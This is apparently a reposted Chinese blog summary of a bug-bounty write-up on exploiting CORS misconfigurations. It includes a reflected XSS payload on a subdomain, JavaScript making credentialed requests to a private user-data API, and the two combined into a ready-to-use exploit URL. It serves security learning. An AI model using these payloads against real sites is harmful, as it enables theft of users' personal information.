CORS误配置高级利用技巧两例

原文:https://medium.com/@sandh0t/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
参考:https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

Case 1

作者首先找到一个HackerOne上的bugbounty,由于隐私原因,这里将其设置为:www.redacted.com
已经找到CORS误配置了

GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close

HTTP/1.1 200 OK
Access-control-allow-credentials: true
 Access-control-allow-origin: evil.redacted.com

这个API是用来展示用户隐私信息,如全名,邮箱等的。
但是想要真的利用这个漏洞,需要结合一个废弃的子域名(Subdomain Takeover),或者找到一个子域的XSS。
然而找到一个废弃的子域名并不简单,所以就只能考虑找子域的XSS了,但是这个BB上写了,BB奖励只限定于ww.redacted.com。但是为了利用这个CORS误配置,只能这样了,不给钱就不给钱吧,能最终利用这个CORS误配置就行。
然后又想,觉得既然其他子域不在奖励范围,那么很大概率其他人就不会去挖其他子域的XSS了,这样想就感觉有信心了。

然后后来又找到了其子域banques.redacted.com的XSS:

https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

复现

然后就是将CORS误配置的exploit

function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);      //要的就是这个responseText
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.redacted.com/api/return", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();

替换XSS的payload:

alert(document.domain)

替换之后是这样的:

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

然后作者就拿到了隐私信息:

Case:#2

无需子域名接管和XSS的利用方式。
找到

这个是https://client.amplifi.com/api/user/的接口,其中的Allow Origin对所有ubnt.com的子域加白了。
这里可以使用一个高级CORS误配置利用技术(我也没看):https://www.corben.io/advanced-cors-techniques/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值